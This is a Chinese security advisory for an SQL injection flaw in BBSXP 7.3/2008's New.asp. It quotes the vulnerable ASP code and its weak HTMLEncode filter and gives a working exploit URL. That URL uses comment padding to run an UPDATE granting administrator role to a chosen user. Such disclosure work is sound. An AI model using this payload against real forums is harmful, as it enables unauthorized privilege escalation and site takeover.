BBSXP论坛程序New.asp页面过滤不严导致SQL注入漏洞


添加时间:
2008-10-05

系统编号:
WAVDB-01243

影响版本:
BBSxp 7.3/2008

程序介绍:

BBSXP是一个强大的论坛社区解决方案,使用它您可以轻易为您的网站创建论坛系统。

漏洞分析:

从New.asp页面代码当中可以发现

 
  1. Sort=HTMLEncode(Request("Sort")) //第24行  
  2.   
  3. if Sort = empty then  
  4. SqlSort="ThreadID"  
  5. else  
  6. SqlSort=Sort  
  7. end if  
  8. 。。。。。。  
  9. sql="Select top "&SqlTopicCount" * from ["&TablePrefix"Threads] where Visible=1 "&SqlForumID" "&SqlTimeLimit" order by "&SqlSort" desc" //第66行  
  10.   
  11. 过滤函数HTMLEncode 在文件BBSXP_Class.asp中:  
  12. Function HTMLEncode(fString)  
  13. fString=Replace(fString,CHR(9),"")  
  14. fString=Replace(fString,CHR(13),"")  
  15. fString=Replace(fString,CHR(22),"")  
  16. fString=Replace(fString,CHR(38),"&"'“&”  
  17. fString=Replace(fString,CHR(32)," "'“ ”  
  18. fString=Replace(fString,CHR(34),""") '“"”  
  19. fString=Replace(fString,CHR(39),"'") '“'”  
  20. fString=Replace(fString,CHR(42)&CHR(42),"**"'“**”/**/  
  21. fString=Replace(fString,CHR(44),","'“,”  
  22. fString=Replace(fString,CHR(45)&CHR(45),"--"'“--”  
  23. fString=Replace(fString,CHR(60),"<"'“<”  
  24. fString=Replace(fString,CHR(62),">"'“>”  
  25. fString=Replace(fString,CHR(92),"\"'“\”  
  26. fString=Replace(fString,CHR(59),";"'“;”  
  27. fString=Replace(fString,CHR(10),"<br>")  
  28. fString=ReplaceText(fString,"([&#])([a-z0-9]*);","$1$2;")  
  29.   
  30. if SiteConfig("BannedText")<>"" then fString=ReplaceText(fString,"("&SiteConfig("BannedText")")",string(len("&$1&"),"*"))  
  31.   
  32. if IsSqlDataBase=0 then '过滤片假名(日文字符)[\u30A0-\u30FF] by yuzi  
  33. fString=escape(fString)  
  34. fString=ReplaceText(fString,"%u30([A-F][0-F])","0$1;")  
  35. fString=unescape(fString)  
  36. end if  
  37.   
  38. HTMLEncode=fString  
  39. End Function  

HTMLEncode过滤了Tab键,空格,** .
变量SqlSort过滤不严导致sql注入漏洞的产生。



漏洞利用:

http://localhost/bbsxp/new.asp?Sort=ThreadID/*o*/update/*o*/bbsxp_users/*o*/set/*o*/UserRoleID=1/*o*/where/*o*/Username=0x6C006F00760065006D006D006D00/*o*/select/*o*/*/*o*/from/*o*/BBSXP_users/*o*/order/*o*/by/*o*/userid

解决方案:
厂商补丁:
BBSxp 2008
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.bbsxp.com/

信息来源:
<*来源:Bug.Center.Team http://www.cnbct.org *>